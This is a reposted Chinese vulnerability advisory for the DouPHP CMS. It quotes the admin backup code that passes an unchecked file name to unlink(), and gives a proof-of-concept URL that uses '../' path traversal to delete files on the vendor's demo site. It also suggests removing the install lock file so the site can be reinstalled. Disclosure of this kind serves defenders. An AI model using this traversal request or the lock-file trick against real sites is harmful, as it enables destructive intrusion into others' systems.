我是靠谱客的博主 老迟到大山,最近开发中收集的这篇文章主要介绍php 轻量级后台,DouPHP轻量级企业建站系统后台任意文件删除缺陷,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

### 简要描述:

某处未验证删除的文件路径,导致可以删除任意文件。

官网演示站测试通过

### 详细说明:

漏洞文件: /admin/backup.php

第161行

```

/**

+----------------------------------------------------------

* 备份删除

+----------------------------------------------------------

*/

if ($_REQUEST['rec'] == 'del')

{

$sql_file_name = $_GET['sql_file_name'];

if ($_POST['confirm'])

{

if (file_exists("../data/backup/" . $sql_file_name))

{

@unlink("../data/backup/" . $sql_file_name);

}

$dou->create_admin_log($_LANG['backup_del'] . ": " . $sql_file_name);

$dou->dou_msg($_LANG['backup_del_success'], 'backup.php?rec=restore');

}

else

{

$_LANG['del_check'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['del_check']);

$dou->dou_msg($_LANG['del_check'], 'backup.php?rec=restore', '', '30', "backup.php?rec=del&sql_file_name=$sql_file_name");

}

}

```

条件:

1、进入此函数需要后台管理员权限

用途?在某些地方,删掉了某些配置,可以导致变量未初始化从而进行利用

比如说安装后生成的lock文件,导致站点可以被重新安装

### 漏洞证明:

http://demo.douco.com/admin/backup.php?rec=del&sql_file_name=../../../robots.txt

[QQ拼音截图未命名.jpg](https://file2.kaopuke.com:8081/files_image/2023061621/13192041b6ba3fad77e6651e69244a36f3165d1f.jpg)

[QQ拼音截图未命名.jpg](https://file2.kaopuke.com:8081/files_image/2023061621/131921146dab22d64d56f0d2cac3b3ba277bd85d.jpg)

loading-bars.svg

最后

以上就是老迟到大山为你收集整理的php 轻量级后台,DouPHP轻量级企业建站系统后台任意文件删除缺陷的全部内容,希望文章能够帮你解决php 轻量级后台,DouPHP轻量级企业建站系统后台任意文件删除缺陷所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(45)

评论列表共有 0 条评论

立即
投稿
返回
顶部